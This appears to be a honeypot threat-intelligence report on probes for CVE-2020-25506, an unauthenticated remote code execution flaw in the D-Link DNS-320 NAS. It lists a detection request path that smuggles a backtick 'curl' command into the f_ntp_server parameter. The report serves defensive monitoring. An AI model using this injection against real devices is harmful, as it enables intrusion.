CVE-2020-25506: D-Link DNS-320 - Unauthenticated Remote Code Execution

HoneyLabs honeypots recorded 3 probes matching CVE-2020-25506 from 1 distinct source IP address in the last 7 days, of which 3 on interactive sensors. Severity is rated critical.

This CVE is on CISA's Known Exploited Vulnerabilities list. CISA added it on 2021-11-03.

One source probed for CVE-2020-25506 on the interactive sensors. It did not send the exploit payload.

What the sensors show

Probes arrived on 2 of the 7 days in this window. The busiest day was 2026-11-10, with 2. It is still being probed 5 years after CISA added it to the Known Exploited Vulnerabilities list. Over the last 90 days the sensors recorded 44 probes for it.

Request paths that identify it

• /cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=`curl
• /cgi-bin/system_mgr.cgi

Addresses probing it

Networks it comes from

Where it comes from

Requests the interactive sensors answered

• POST /cgi-bin/system_mgr.cgi

HTTP client fingerprints

• b11cuq060_00050813_95cc9d02